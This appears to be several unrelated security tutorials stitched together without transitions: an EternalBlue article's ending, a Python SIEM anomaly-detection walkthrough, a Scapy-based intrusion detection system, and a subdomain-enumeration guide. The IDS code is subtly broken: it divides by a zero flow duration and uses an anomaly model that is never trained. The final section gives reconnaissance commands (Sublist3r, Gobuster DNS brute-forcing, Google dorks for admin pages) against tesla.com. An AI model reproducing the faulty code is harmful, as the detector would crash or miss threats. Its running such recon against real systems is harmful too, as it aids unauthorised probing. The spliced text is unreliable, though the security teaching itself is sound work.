EternalBlue remains one of the most notable Windows vulnerabilities, illustrating the importance of patching and cybersecurity hygiene. From scanning with Nmap to exploiting with Metasploit, the process follows a typical penetration testing workflow: scan for holes, identify vulnerabilities, exploit, and escalate.

Hackers use EternalBlue to spread malware, create botnets, and steal data. Cybersecurity experts recommend updating Windows, disabling SMBv1, and using strong firewalls to stay protected.

Microsoft released a patch (a security update) in March 2017 to fix the issue. However, many computers were not updated, making them easy targets for hackers. Even today, some systems remain unpatched and at risk.

For video tutorials on Cybersecurity, check out my YouTube channel. To get some hands on experience with Eternal Blue and similar vulnerabilities, check out this Security Starter course.

We’ll walk through ingesting logs, detecting anomalies with a lightweight machine learning model, and even touch on how the system could respond automatically.

This hands-on proof-of-concept will illustrate how AI can enhance security monitoring in a practical, accessible way.

Table of Contents

• What Are SIEM Systems?

• Prerequisites

• Setting Up the Project

• How to Implement Log Analysis

• How to Build the Anomaly Detection Model

• Testing and Visualizing Results

• Automated Response Possibilities

• Conclusion

What Are SIEM Systems?

Security Information and Event Management (SIEM) systems are the central nervous system of modern security operations. A SIEM aggregates and correlates security logs and events from across an IT environment to provide real-time insights into potential incidents. This helps organizations detect threats faster and respond sooner.

These systems pull together huge volumes of log data — from firewall alerts to application logs — and analyze them for signs of trouble. Anomaly detection in this context is crucial, and unusual patterns in logs can reveal incidents that might slip past static rules. For example, a sudden spike in network requests might indicate a DDoS attack, while multiple failed login attempts could point to unauthorized access attempts.

AI takes SIEM capabilities a step further. By leveraging advanced AI models (like large language models), an AI-powered SIEM can intelligently parse and interpret logs, learn what “normal” behavior looks like, and flag the “weird” stuff that warrants attention.

In essence, AI can act as a smart co-pilot for analysts, spotting subtle anomalies and even summarizing findings in plain language. Recent advancements in large language models allow SIEMs to reason over countless data points much like a human analyst would — but with far greater speed and scale. The result is a powerful digital security assistant that helps cut through the noise and focus on real threats.

Prerequisites

Before we dive in, make sure you have the following:

• Python 3.x installed on your system. The code examples should work in any recent Python version.

• Basic familiarity with Python programming (looping, functions, using libraries) and an understanding of logs (for example, what a log entry looks like) will be helpful.

• Python libraries: We’ll use a few common libraries that are lightweight and don’t require special hardware:

  • pandas for basic data handling (if your logs are in CSV or similar format).

  • numpy for numeric operations.

  • scikit-learn for the anomaly detection model (specifically, we’ll use the IsolationForest algorithm).

• A set of log data to analyze. You can use any log file (system logs, application logs, and so on) in plain text or CSV format. For demonstration, we’ll simulate a small log dataset so you can follow along even without a ready-made log file.

Note: If you don’t have the libraries above, install them via pip:

pip install pandas numpy scikit-learn

Setting Up the Project

Let’s set up a simple project structure. Create a new directory for this SIEM anomaly detection project and navigate into it. Inside, you can have a Python script (for example, siem_anomaly_demo.py) or a Jupyter Notebook to run the code step by step.

Make sure your working directory contains or can access your log data. If you’re using a log file, it might be a good idea to place a copy in this project folder. For our proof-of-concept, since we will generate synthetic log data, we won’t need an external file — but in a real scenario you would.

Project setup steps:

1. Initialize the environment – If you prefer, create a virtual environment for this project (optional but good practice):

    python -m venv venv
    source venv/bin/activate  # On Windows use "venv\Scripts\activate"
   

   Then install the required packages in this virtual environment.

2. Prepare a data source – Identify the log source you want to analyze. This could be a path to a log file or database. Ensure you know the format of the logs (for example, are they comma-separated, JSON lines, or plain text?). For illustration, we will fabricate some log entries.

3. Set up your script or notebook – Open your Python file or notebook. We’ll start by importing the necessary libraries and setting up any configurations (like random seeds for reproducibility).

By the end of this setup, you should have a Python environment ready to run our SIEM log analysis code, and either a real log dataset or the intention to simulate data along with me.

Implementing Log Analysis

In a full SIEM system, log analysis involves collecting logs from various sources and parsing them into a uniform format for further processing. Logs often contain fields like timestamp, severity level, source, event message, user ID, IP address, and so on. The first task is to ingest and preprocess these logs.

1. Log Ingestion

If your logs are in a text file, you can read them in Python. For example, if each log entry is a line in the file, you could do:

with open("my_logs.txt") as f:
    raw_logs = f.readlines()

If the logs are structured (say, CSV format with columns), Pandas can greatly simplify reading:

import pandas as pd
df = pd.read_csv("my_logs.csv")
print(df.head())

This will give you a DataFrame df with your log entries organized in columns. But many logs are semi-structured (for example, components separated by spaces or special characters). In such cases, you might need to split each line by a delimiter or use regex to extract fields. For instance, imagine a log line:

2025-03-06 08:00:00, INFO, User login success, user: admin

This has a timestamp, a log level, a message, and a user. We can parse such lines with Python’s string methods:

logs = [
    "2025-03-06 08:00:00, INFO, User login success, user: admin",
    "2025-03-06 08:01:23, INFO, User login success, user: alice",
    "2025-03-06 08:02:45, ERROR, Failed login attempt, user: alice",
    # ... (more log lines)
]
parsed_logs = []
for line in logs:
    parts = [p.strip() for p in line.split(",")]
    timestamp = parts[0]
    level = parts[1]
    message = parts[2]
    user = parts[3].split(":")[1].strip() if "user:" in parts[3] else None
    parsed_logs.append({"timestamp": timestamp, "level": level, "message": message, "user": user})

# Convert to DataFrame for easier analysis
df_logs = pd.DataFrame(parsed_logs)
print(df_logs.head())

Running the above on our sample list would output something like:

            timestamp  level                 message   user
0  2025-03-06 08:00:00   INFO    User login success   admin
1  2025-03-06 08:01:23   INFO    User login success   alice
2  2025-03-06 08:02:45  ERROR  Failed login attempt   alice
...

Now we have structured the logs into a table. In a real scenario, you would continue parsing all relevant fields from your logs (for example, IP addresses, error codes, and so on) depending on what you want to analyze.

2. Preprocessing and Feature Extraction

With the logs in a structured format, the next step is to derive features for anomaly detection. Raw log messages (strings) by themselves are hard for an algorithm to learn from directly. We often extract numeric features or categories that can be quantified. Some examples of features could be:

• Event counts: number of events per minute/hour, number of login failures for each user, and so on.

• Duration or size: if logs include durations or data sizes (for example, file transfer size, query execution time), those numeric values can be directly used.

• Categorical encoding: log levels (INFO, ERROR, DEBUG) could be mapped to numbers, or specific event types could be one-hot encoded.

For this proof-of-concept, let’s focus on a simple numeric feature: the count of login attempts per minute for a given user. We’ll simulate this as our feature data.

In a real system, you would compute this by grouping the parsed log entries by time window and user. The goal is to get an array of numbers where each number represents "how many login attempts occurred in a given minute." Most of the time this number will be low (normal behavior), but if a particular minute saw an unusually high number of attempts, that’s an anomaly (possibly a brute-force attack).

To simulate, we’ll generate a list of 50 values representing normal behavior, and then append a few values that are abnormally high:

import numpy as np

# Simulate 50 minutes of normal login attempt counts (around 5 per minute on average)
np.random.seed(42)  # for reproducible example
normal_counts = np.random.poisson(lam=5, size=50)

# Simulate anomaly: a spike in login attempts (e.g., an attacker tries 30+ times in a minute)
anomalous_counts = np.array([30, 40, 50])

# Combine the data
login_attempts = np.concatenate([normal_counts, anomalous_counts])
print("Login attempts per minute:", login_attempts)

When you run the above, login_attempts might look like:

Login attempts per minute: [ 5  4  4  5  5  3  5  ...  4 30 40 50]

Most values are in the single digits, but at the end we have three minutes with 30, 40, and 50 attempts – clear outliers. This is our prepared data for anomaly detection. In a real log analysis, this kind of data might come from counting events in your logs over time or extracting some metric from the log content.

Now that our data is ready, we can move on to building the anomaly detection model.

How to Build the Anomaly Detection Model

To detect anomalies in our log-derived data, we’ll use a machine learning approach. Specifically, we’ll use an Isolation Forest – a popular algorithm for unsupervised anomaly detection.

The Isolation Forest works by randomly partitioning the data and isolating points. Anomalies are those points that get isolated (separated from others) quickly, that is, in fewer random splits. This makes it great for identifying outliers in a dataset without needing any labels (we don’t have to know in advance which log entries are “bad”).

Why Isolation Forest?

• It’s efficient and works well even if we have a lot of data.

• It doesn’t assume any specific data distribution (unlike some statistical methods).

• It gives us a straightforward way to score anomalies.

Let’s train an Isolation Forest on our login_attempts data:

from sklearn.ensemble import IsolationForest

# Prepare the data in the shape the model expects (samples, features)
X = login_attempts.reshape(-1, 1)  # each sample is a 1-dimensional [count]

# Initialize the Isolation Forest model
model = IsolationForest(contamination=0.05, random_state=42)
# contamination=0.05 means we expect about 5% of the data to be anomalies

# Train the model on the data
model.fit(X)

A couple of notes on the code:

• We reshaped login_attempts to a 2D array X with one feature column because scikit-learn requires a 2D array for training (fit).

• We set contamination=0.05 to give the model a hint that roughly 5% of the data might be anomalies. In our synthetic data we added 3 anomalies out of 53 points, which is ~5.7%, so 5% is a reasonable guess. (If you don’t specify contamination, the algorithm will choose a default based on assumption or use a default 0.1 in some versions.)

• random_state=42 just ensures reproducibility.

At this point, the Isolation Forest model has been trained on our data. Internally, it has built an ensemble of random trees that partition the data. Points that are hard to isolate (that is, in the dense cluster of normal points) end up deep in these trees, while points that are easy to isolate (the outliers) end up with shorter paths.

Next, we’ll use this model to identify which data points are considered anomalous.

Testing and Visualizing Results

Now comes the exciting part: using our trained model to detect anomalies in the log data. We’ll have the model predict labels for each data point and then filter out the ones flagged as outliers.

# Use the model to predict anomalies
labels = model.predict(X)
# The model outputs +1 for normal points and -1 for anomalies

# Extract the anomaly indices and values
anomaly_indices = np.where(labels == -1)[0]
anomaly_values = login_attempts[anomaly_indices]

print("Anomaly indices:", anomaly_indices)
print("Anomaly values (login attempts):", anomaly_values)

In our case, we expect the anomalies to be the large numbers we inserted (30, 40, 50). The output might look like:

Anomaly indices: [50 51 52]
Anomaly values (login attempts): [30 40 50]

Even without knowing anything about “login attempts” specifically, the Isolation Forest recognized those values as out-of-line with the rest of the data.

This is the power of anomaly detection in a security context: we don’t always know what a new attack will look like, but if it causes something to drift far from normal patterns (like a user suddenly making 10 times more login attempts than usual), the anomaly detector shines a spotlight on it.

Visualizing the results

In a real analysis, it’s often useful to visualize the data and the anomalies. For instance, we could plot the login_attempts values over time (minute by minute) and highlight the anomalies in a different color.

In this simple case, a line chart would show a mostly flat line around 3-8 logins/min with three huge spikes at the end. Those spikes are our anomalies. You could achieve this with Matplotlib if you’re running this in a notebook:

import matplotlib.pyplot as plt

plt.plot(login_attempts, label="Login attempts per minute")
plt.scatter(anomaly_indices, anomaly_values, color='red', label="Anomalies")
plt.xlabel("Time (minute index)")
plt.ylabel("Login attempts")
plt.legend()
plt.show()

For text-based output as we have here, the printed results already confirm that the high values were caught. In more complex cases, anomaly detection models also provide an anomaly score for each point (for example, how far it is from the normal range). Scikit-learn’s IsolationForest, for example, has a decision_function method that yields a score (where lower scores mean more abnormal).

For simplicity, we won’t delve into the scores here, but it’s good to know you can retrieve them to rank anomalies by severity.

With the anomaly detection working, what can we do when we find an anomaly? That leads us to thinking about automated responses.

Automated Response Possibilities

Detecting an anomaly is only half the battle — the next step is responding to it. In enterprise SIEM systems, automated response (often associated with SOAR – Security Orchestration, Automation, and Response) can dramatically reduce reaction time to incidents.

What could an AI-powered SIEM do when it flags something unusual? Here are some possibilities:

• Alerting: The simplest action is to send an alert to security personnel. This could be an email, a Slack message, or creating a ticket in an incident management system. The alert would contain details of the anomaly (for example, “User alice had 50 failed login attempts in 1 minute, which is abnormal”). GenAI can help here by generating a clear natural-language summary of the incident for the analyst.

• Automated mitigation: More advanced systems might take direct action. For instance, if an IP address is showing malicious behavior in logs, the system could automatically block that IP on the firewall. In our login spike example, the system might temporarily lock the user account or prompt for additional authentication, under the assumption that it might be a bot attack. AI-based SIEMs today can indeed trigger predefined response actions or even orchestrate complex workflows when certain threats are detected (refer to AI SIEM: How SIEM with AI/ML is Revolutionizing the SOC | Exabeam for more information).

• Investigation support: Generative AI could also be used to automatically gather context. For example, upon detecting the anomaly, the system could pull related logs (surrounding events, other actions by the same user or from the same IP) and provide an aggregated report. This saves the analyst from manually querying multiple data sources.

It’s important to implement automated responses carefully — you don’t want the system to overreact to false positives. A common strategy is a tiered response: low-confidence anomalies might just log a warning or send a low-priority alert, whereas high-confidence anomalies (or combinations of anomalies) trigger active defense measures.

In practice, a AI-powered SIEM would integrate with your infrastructure (via APIs, scripts, and so on) to execute these actions. For our Python PoC, you could simulate an automated response by, say, printing a message or calling a dummy function when an anomaly is detected. For example:

if len(anomaly_indices) > 0:
    print(f"Alert! Detected {len(anomaly_indices)} anomalous events. Initiating response procedures...")
    # Here, you could add code to disable a user or notify an admin, etc.

While our demonstration is simple, it’s easy to imagine scaling this up. The SIEM could, for instance, feed anomalies into a larger generative model that assesses the situation and decides on the best course of action (like a chatbot Ops assistant that knows your runbooks). The possibilities for automation are expanding as AI becomes more sophisticated.

Conclusion

In this tutorial, we built a basic AI-powered SIEM component that ingests log data, analyzes it for anomalies using a machine learning model, and identifies unusual events that could represent security threats.

We started by parsing and preparing log data, then used an Isolation Forest model to detect outliers in a stream of login attempt counts. The model successfully flagged out-of-norm behavior without any prior knowledge of what an “attack” looks like – it purely relied on deviations from learned normal patterns.

We also discussed how such a system could respond to detected anomalies, from alerting humans to automatically taking action.

Modern SIEM systems augmented with AI/ML are moving in this direction: not only do they detect issues, but they also help triage and respond to them. Generative AI further enhances this by learning from analysts and providing intelligent summaries and decisions, effectively becoming a tireless assistant in the Security Operations Center.

For next steps and improvements:

• You can try this approach on real log data. For example, take a system log file and extract a feature like “number of error logs per hour” or “bytes transferred per session” and run anomaly detection on that.

• Experiment with other algorithms like One-Class SVM or Local Outlier Factor for anomaly detection to see how they compare.

• Incorporate a simple language model to parse log lines or to explain anomalies. For instance, an LLM could read an anomalous log entry and suggest what might be wrong (“This error usually means the database is unreachable”).

• Extend the features: in a real SIEM, you’d use many signals at once (failed login counts, unusual IP geolocation, rare process names in logs, and so on). More features and data can improve the context for detection.

By the end of this tutorial, you will know how an IDS works and be able to build your own real-time network monitoring system using Python.

Table of Contents

• Understanding the Types of IDS

• How to Setup Your Development Environment

• Building the Core IDS Components

  • Building the Packet Capture Engine

  • Building the Traffic Analysis Module

  • Building the Detection Engine

  • Building the Alert System

  • Putting It All Together

• Ideas to Extend the IDS

• Security Considerations

• Testing the IDS on Mock Data

• Wrapping Up

Understanding the Types of IDS

Before we jump into the coding part, let’s understand the types of IDS:

1. Network-based IDS (NIDS): This system monitors network traffic for suspicious activity.

2. Host-based IDS (HIDS): This system monitors system logs and file changes on individual hosts and is not directly deployed in the network.

3. Signature-based IDS: This system is either in the network or on the host and identifies attack patterns based on known patterns.

4. Anomaly-based IDS: This system identifies unusual behavior using heuristics and prediction algorithms that are trained on previously seen attack patterns.

For this tutorial, you will be building a hybrid system that combines signature-based and anomaly-based detection systems to monitor network traffic.

How to Setup Your Development Environment

Let’s start by setting up our Python environment (I’m using Python 3) and installing the following prerequisites:

pip install scapy
pip install python-nmap
pip install numpy
pip install sklearn

Building the Core IDS Components

Our IDS will comprise of four main components:

1. A packet capture system

2. Traffic analysis module

3. A detection engine

4. An alert system

Building the Packet Capture Engine

Let’s start with the packet capture engine. We’ll use Scapy for this. Scapy is a networking library that allows us to perform network and network-related operations using Python.

First, we’ll define our PacketCapture class that will serve as the basis of our IDS.

from scapy.all import sniff, IP, TCP
from collections import defaultdict
import threading
import queue

class PacketCapture:
    def __init__(self):
        self.packet_queue = queue.Queue()
        self.stop_capture = threading.Event()

    def packet_callback(self, packet):
        if IP in packet and TCP in packet:
            self.packet_queue.put(packet)

    def start_capture(self, interface="eth0"):
        def capture_thread():
            sniff(iface=interface,
                  prn=self.packet_callback,
                  store=0,
                  stop_filter=lambda _: self.stop_capture.is_set())

        self.capture_thread = threading.Thread(target=capture_thread)
        self.capture_thread.start()

    def stop(self):
        self.stop_capture.set()
        self.capture_thread.join()

Let’s quickly walk through the code and understand what these functions do. For this, you will be using threading and queues to efficiently process and capture network packets.

The init method initializes the class by creating a queue.Queue to store captured packets and a threading Event to control when the packet capture should stop. The packet_callback method acts as a handler for each captured packet and checks if the packet contains both IP and TCP layers. If so, it adds it to the queue for further processing.

The start_capture method begins capturing packets on a specified interface (defaulting to eth0 to capture packets from the Ethernet interface). Run ifconfig to understand the available interfaces and select the appropriate interface from the list.

The function spawns a separate thread to run Scapy’s sniff function, which continuously monitors the interface for packets. The stop_filter parameter ensures the capture stops when the stop_capture event is triggered.

The stop method stops the capture by setting the stop_capture event and waits for the thread to finish execution, ensuring the process terminates cleanly. This design allows for seamless real-time packet capturing without blocking the main thread.

Building the Traffic Analysis Module

Now, let’s write the traffic analysis module. This module will process captured packets and extract relevant features.

class TrafficAnalyzer:
    def __init__(self):
        self.connections = defaultdict(list)
        self.flow_stats = defaultdict(lambda: {
            'packet_count': 0,
            'byte_count': 0,
            'start_time': None,
            'last_time': None
        })

    def analyze_packet(self, packet):
        if IP in packet and TCP in packet:
            ip_src = packet[IP].src
            ip_dst = packet[IP].dst
            port_src = packet[TCP].sport
            port_dst = packet[TCP].dport

            flow_key = (ip_src, ip_dst, port_src, port_dst)

            # Update flow statistics
            stats = self.flow_stats[flow_key]
            stats['packet_count'] += 1
            stats['byte_count'] += len(packet)
            current_time = packet.time

            if not stats['start_time']:
                stats['start_time'] = current_time
            stats['last_time'] = current_time

            return self.extract_features(packet, stats)

    def extract_features(self, packet, stats):
        return {
            'packet_size': len(packet),
            'flow_duration': stats['last_time'] - stats['start_time'],
            'packet_rate': stats['packet_count'] / (stats['last_time'] - stats['start_time']),
            'byte_rate': stats['byte_count'] / (stats['last_time'] - stats['start_time']),
            'tcp_flags': packet[TCP].flags,
            'window_size': packet[TCP].window
        }

In this code section, we define the TrafficAnalyzer class to analyze network traffic. Here we track connection flows and calculate statistics for packets in real time. We use the defaultdict data structure in Python to manage connections and flow statistics by organizing data by unique flows.

The __init__ method initializes two attributes: connections, which stores lists of related packets for each flow, and flow_stats, which stores aggregated statistics for each flow, such as packet count, byte count, start time, and the time of the most recent packet.

The analyze_packet method processes each packet. If the packet contains IP and TCP layers, it extracts the source and destination IPs and ports, forming a unique flow_key to identify the flow. It updates the statistics for the flow by incrementing the packet count, adding the packet’s size to the byte count, and setting or updating the start and last time of the flow. Eventually, it calls extract_features to calculate and return additional metrics.

The extract_features method computes detailed characteristics of the flow and the current packet. These include the packet size, flow duration, packet rate, byte rate, TCP flags, and the TCP window size. These metrics are quite useful to identify patterns, anomalies, or potential threats in network traffic.

Building the Detection Engine

Now we will define our detection engine that will implement both the signature as well as the anomaly-based detection mechanisms:

from sklearn.ensemble import IsolationForest
import numpy as np

class DetectionEngine:
    def __init__(self):
        self.anomaly_detector = IsolationForest(
            contamination=0.1,
            random_state=42
        )
        self.signature_rules = self.load_signature_rules()
        self.training_data = []

    def load_signature_rules(self):
        return {
            'syn_flood': {
                'condition': lambda features: (
                    features['tcp_flags'] == 2 and  # SYN flag
                    features['packet_rate'] > 100
                )
            },
            'port_scan': {
                'condition': lambda features: (
                    features['packet_size'] < 100 and
                    features['packet_rate'] > 50
                )
            }
        }

    def train_anomaly_detector(self, normal_traffic_data):
        self.anomaly_detector.fit(normal_traffic_data)

    def detect_threats(self, features):
        threats = []

        # Signature-based detection
        for rule_name, rule in self.signature_rules.items():
            if rule['condition'](features):
                threats.append({
                    'type': 'signature',
                    'rule': rule_name,
                    'confidence': 1.0
                })

        # Anomaly-based detection
        feature_vector = np.array([[
            features['packet_size'],
            features['packet_rate'],
            features['byte_rate']
        ]])

        anomaly_score = self.anomaly_detector.score_samples(feature_vector)[0]
        if anomaly_score < -0.5:  # Threshold for anomaly detection
            threats.append({
                'type': 'anomaly',
                'score': anomaly_score,
                'confidence': min(1.0, abs(anomaly_score))
            })

        return threats

This code defines a hybrid system that combines the signature-based and anomaly-based detection methods. We use the Isolation Forest model to detect anomalies and also use pre-defined rules for identifying specific attack patterns. If you would like to know more about how the Isolation Forest model works, check out this article.

In this code snippet, the train_anomaly_detector method trains the Isolation Forest model using a dataset of normal traffic features. This enables the model to differentiate typical traffic patterns from anomalies.

The detect_threats method evaluates network traffic features for potential threats using two approaches:

1. Signature-Based Detection: It iteratively goes through each of the predefined rules, applying the rule’s condition to the traffic features. If a rule matches, a signature-based threat is recorded with high confidence.

2. Anomaly-Based Detection: It processes the feature vector (packet size, packet rate, and byte rate) through the Isolation Forest model to calculate an anomaly score. If the score indicates unusual behavior, the detection engine triggers it as an anomaly and produces a confidence score proportional to the anomaly’s severity.

Finally, we return the aggregated list of identified threats with their respective annotation (either signature or anomaly), the rule or score that triggered the anomaly, and a confidence score that suggests how likely it is that the identified pattern is a threat.

Building the Alert System

Now let’s build the last component of our IDS which is the alert system. It will process and log detected threats in a structured way. You will also have the option to extend the system to include additional notification mechanisms like Slack, Jira tickets, and so on

import logging
import json
from datetime import datetime

class AlertSystem:
    def __init__(self, log_file="ids_alerts.log"):
        self.logger = logging.getLogger("IDS_Alerts")
        self.logger.setLevel(logging.INFO)

        handler = logging.FileHandler(log_file)
        formatter = logging.Formatter(
            '%(asctime)s - %(levelname)s - %(message)s'
        )
        handler.setFormatter(formatter)
        self.logger.addHandler(handler)

    def generate_alert(self, threat, packet_info):
        alert = {
            'timestamp': datetime.now().isoformat(),
            'threat_type': threat['type'],
            'source_ip': packet_info.get('source_ip'),
            'destination_ip': packet_info.get('destination_ip'),
            'confidence': threat.get('confidence', 0.0),
            'details': threat
        }

        self.logger.warning(json.dumps(alert))

        if threat['confidence'] > 0.8:
            self.logger.critical(
                f"High confidence threat detected: {json.dumps(alert)}"
            )
            # Implement additional notification methods here
            # (e.g., email, Slack, SIEM integration)

The init method sets up a logger named IDS_Alerts with an INFO logging level to capture alert information. It writes logs to a specified file, ids_alerts.log by default. A FileHandler directs logs to the file, while the Formatter ensures the logs follow a consistent format.

The generate_alert method is responsible for creating structured alert entries. Each alert includes key information such as the timestamp of detection, the type of threat, the source and destination IPs involved, the confidence level of the detection, and additional threat-specific details. These alerts are logged as WARNING level messages in JSON format.

If the confidence level of a detected threat is high (greater than 0.8), the alert is escalated and logged as a CRITICAL level message. Note that this method is designed to be extensible, allowing for additional notification mechanisms, such as sending alerts via email or integrating with third-party systems like Slack or SIEM solutions.

Putting it All Together

Now let’s integrate all the components together into our fully functional IDS solution:

class IntrusionDetectionSystem:
    def __init__(self, interface="eth0"):
        self.packet_capture = PacketCapture()
        self.traffic_analyzer = TrafficAnalyzer()
        self.detection_engine = DetectionEngine()
        self.alert_system = AlertSystem()

        self.interface = interface

    def start(self):
        print(f"Starting IDS on interface {self.interface}")
        self.packet_capture.start_capture(self.interface)

        while True:
            try:
                packet = self.packet_capture.packet_queue.get(timeout=1)
                features = self.traffic_analyzer.analyze_packet(packet)

                if features:
                    threats = self.detection_engine.detect_threats(features)

                    for threat in threats:
                        packet_info = {
                            'source_ip': packet[IP].src,
                            'destination_ip': packet[IP].dst,
                            'source_port': packet[TCP].sport,
                            'destination_port': packet[TCP].dport
                        }
                        self.alert_system.generate_alert(threat, packet_info)

            except queue.Empty:
                continue
            except KeyboardInterrupt:
                print("Stopping IDS...")
                self.packet_capture.stop()
                break

if __name__ == "__main__":
    ids = IntrusionDetectionSystem()
    ids.start()

In this code, the IntrusionDetectionSystem class sets up its core components: PacketCapture for capturing packets from a network interface, TrafficAnalyzer for extracting and analyzing packet features, DetectionEngine for identifying threats using both signature-based and anomaly-based methods, and AlertSystem for logging and escalating detected threats. The interface parameter specifies the network interface to monitor, defaulting to eth0 (the generally named ethernet interface on most systems).

The start function initiates the IDS. It begins by starting packet capture on the specified interface and enters a loop to continuously process incoming packets. For each packet captured, the system extracts its features using the TrafficAnalyzer and analyzes them for potential threats using the DetectionEngine. If any threats are detected, the system generates detailed alerts through the AlertSystem.

The system runs in a loop until interrupted by either of the two key exceptions: queue.Empty, which occurs if no packets are available for processing, and KeyboardInterrupt, which stops the IDS gracefully by halting packet capture and exiting the loop.

Ideas to Extend the IDS

To enhance or extend the IDS, you can consider designing or implementing the following features / improvements:

1. Machine Learning enhancements: You can enhance the IDS capabilities by incorporating deep learning models like Auto Encoders for anomaly detection and using RNNs for sequential pattern analysis. This will improve the system’s ability to identify complex and evolving threats by leveraging advanced feature engineering.

2. Performance optimizations: You can optimize the IDS using PyPy for faster execution, packet sampling to handle high-traffic networks, and parallel processing to scale the system efficiently.

3. Integration capabilities: You can extend the IDS by considering support for a REST API for remote monitoring, enabling seamless interaction with external systems.

Security Considerations

When deploying the IDS, note that the system is a proof-of-concept and is not intended for production use-cases. Also keep the following things in mind:

• Run the system with appropriate permissions (root/admin required for packet capture)

• Secure the alert logs and implement proper log rotation

• Regularly update signature rules and retrain anomaly detection models

• Monitor system resource usage, especially in high-traffic environments

• Implement proper access controls for the IDS configuration and alerts

Testing the IDS on Mock Data

To validate the functionality of your IDS, you can test it using mock data that will simulate real-world network traffic. This will allow you to observe how the system processes packets, analyzes traffic, and generates alerts without requiring a live network environment.

Use the following function to test the IDS:

from scapy.all import IP, TCP

def test_ids():
    # Create test packets to simulate various scenarios
    test_packets = [
        # Normal traffic
        IP(src="192.168.1.1", dst="192.168.1.2") / TCP(sport=1234, dport=80, flags="A"),
        IP(src="192.168.1.3", dst="192.168.1.4") / TCP(sport=1235, dport=443, flags="P"),

        # SYN flood simulation
        IP(src="10.0.0.1", dst="192.168.1.2") / TCP(sport=5678, dport=80, flags="S"),
        IP(src="10.0.0.2", dst="192.168.1.2") / TCP(sport=5679, dport=80, flags="S"),
        IP(src="10.0.0.3", dst="192.168.1.2") / TCP(sport=5680, dport=80, flags="S"),

        # Port scan simulation
        IP(src="192.168.1.100", dst="192.168.1.2") / TCP(sport=4321, dport=22, flags="S"),
        IP(src="192.168.1.100", dst="192.168.1.2") / TCP(sport=4321, dport=23, flags="S"),
        IP(src="192.168.1.100", dst="192.168.1.2") / TCP(sport=4321, dport=25, flags="S"),
    ]

    ids = IntrusionDetectionSystem()

    # Simulate packet processing and threat detection
    print("Starting IDS Test...")
    for i, packet in enumerate(test_packets, 1):
        print(f"\nProcessing packet {i}: {packet.summary()}")

        # Analyze the packet
        features = ids.traffic_analyzer.analyze_packet(packet)

        if features:
            # Detect threats based on features
            threats = ids.detection_engine.detect_threats(features)

            if threats:
                print(f"Detected threats: {threats}")
            else:
                print("No threats detected.")
        else:
            print("Packet does not contain IP/TCP layers or is ignored.")

    print("\nIDS Test Completed.")

if __name__ == "__main__":
    test_ids()

This will test the system against a variety of attacks like SYN flooding and port scanning.

Wrapping Up

Now you know how to build a basic intrusion detection system with Python and a few open-source libraries! This IDS demonstrates some core concepts of network security and real-time threat detection.

Keep in mind that this tutorial is for educational purposes only. There are professionally designed enterprise-grade systems like Snort and Suricata that can handle advanced threats and large-scale deployments.

I hope you gained insights into network security fundamentals and learned how Python can be used to build practical security solutions.

As an ethical hacker, discovering subdomains is a critical step in learning the attack surface of a target. Subdomains might not be protected well, unlike the main domain. So they can be a great entry point for security auditing or bug bounty programs.

In this article, I’ll walk you through how to find subdomains using multiple methods. We will use tesla.com as our example in subdomain research.

Note: tesla.com is part of bug bounty programs, so we have permission to scan it for subdomains. If you are doing this in another web application, make sure you have permission.

Crt.sh

One of the easiest ways to start is by checking Certificate Transparency (CT) logs using crt.sh. This website records every SSL/TLS certificate issued for a domain, including subdomains.

To search for Tesla’s subdomains, visit crt.sh and enter %.tesla.com as the query. The % acts as a wildcard to match any subdomains.

Let's look at the results:

We can see a lot of interesting subdomains listed in the results. These subdomains may belong to different parts of Tesla’s infrastructure.

For example, shop.tesla.com is likely for their online store, while api.tesla.com could host application programming interfaces.

Using crt.sh is passive, meaning it doesn’t interact with the target, making it both safe and stealthy.

Note that crt.sh will only display subdomains that have valid certificates. If a subdomain uses self-signed certificates or doesn’t use SSL/TLS at all, it may not appear in these logs. Despite this limitation, crt.sh remains a quick and efficient starting point for subdomain enumeration.

Sublist3r

Sublist3r is an open-source tool to automate finding subdomains. It’s helpful in both security assessments and general reconnaissance.

By using multiple search engines (like Google, Bing, Yahoo, and more) Sublist3r finds subdomains that might otherwise remain hidden.

Sublist3r’s command-line interface is simple to use — you give it a domain, and Sublist3r goes to work.

Thanks to its open-source nature, it’s actively maintained and improved by the security community.

Sublist3r is not pre-installed on Kali, so lets go ahead and install it. First, clone the repository and install the requirements:

git clone https://github.com/aboul3la/Sublist3r.git
cd Sublist3r
sudo pip install -r requirements.txt

Now we are ready to use the sublist3r tool. Here is the syntax to use sublist3r:

python sublist3r.py -d tesla.com

After a few minutes, Sublist3r will return a list of discovered subdomains. The -d flag tells sublist3r that the domain to use is tesla.com

You can see that sublist3r has found more than 300 subdomains of tesla.com. Sublist3r is an excellent way to jump-start the recon process, especially if you want to automate the collection of subdomains without installing numerous separate tools.

Note that Sublist3r relies on the APIs of these search engines and other data sources. So it can sometimes miss subdomains that haven’t been crawled or indexed.

Google Dorking

Google dorking (sometimes called “Google hacking”) refers to the practice of using special search queries on Google. These operators help to find hidden information, sensitive data, or other resources that would otherwise be hard to locate.

Common operators include site:, inurl:, filetype:, and intitle:, among many others. Let’s start with the site: operator:

site:*.tesla.com

This query searches for any subdomain of tesla.com. Here are some search results.

To dig deeper, try combining site: with other operators. For example, we can use the inurl operator with the keyword ‘admin’ to find URLs containing the word admin.

site:*.tesla.com inurl:admi

By using these operators (known as Google dorks), you can filter search results to find specific file types, directories, or even private information that may be unintentionally exposed on the internet.

Dorking can produce a lot of data, so you may need to carefully filter your searches to avoid getting flooded with irrelevant information.

Here is a full tutorial on Google dorking.

Fuzzing with GoBuster

Now what if the subdomains of a target are not listed anywhere on the internet? We fuzz for it.

Fuzzing is simply brute-forcing potential subdomain names by trying combinations from a wordlist. A wordlist is a list of words that we will use along with the fuzzing tool to see if a subdomain exists.

A subdomain wordlist can contain words like:

ftp
root
admin
portal
api

Tools like Gobuster and Ffuf can use a wordlist to check whether these subdomains exist. Here is a sample subdomain wordlist.

How Gobuster Works

Gobuster is a fast brute-force tool for discovering hidden URLs, files, and directories within websites.

Ffuf is a wonderful web fuzzer, but Gobuster is a faster and more flexible alternative. Gobuster has support for extensions with which we can increase its capabilities.

Gobuster also can scale using multiple threads and perform parallel scans to speed up results.

Gobuster comes pre-installed in Kali Linux. Let’s run the following command to look for subdomains. You can find the word list under /usr/share/wordlists/SecLists in Kali Linux.

gobuster dns -d tesla.com -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt

The above command checks each word in the wordlist to see if it resolves to a valid subdomain. Here’s a sample output:

Gobuster’s results show valid subdomains, including some that might not appear in public databases, like staging.tesla.com or dev.tesla.com.

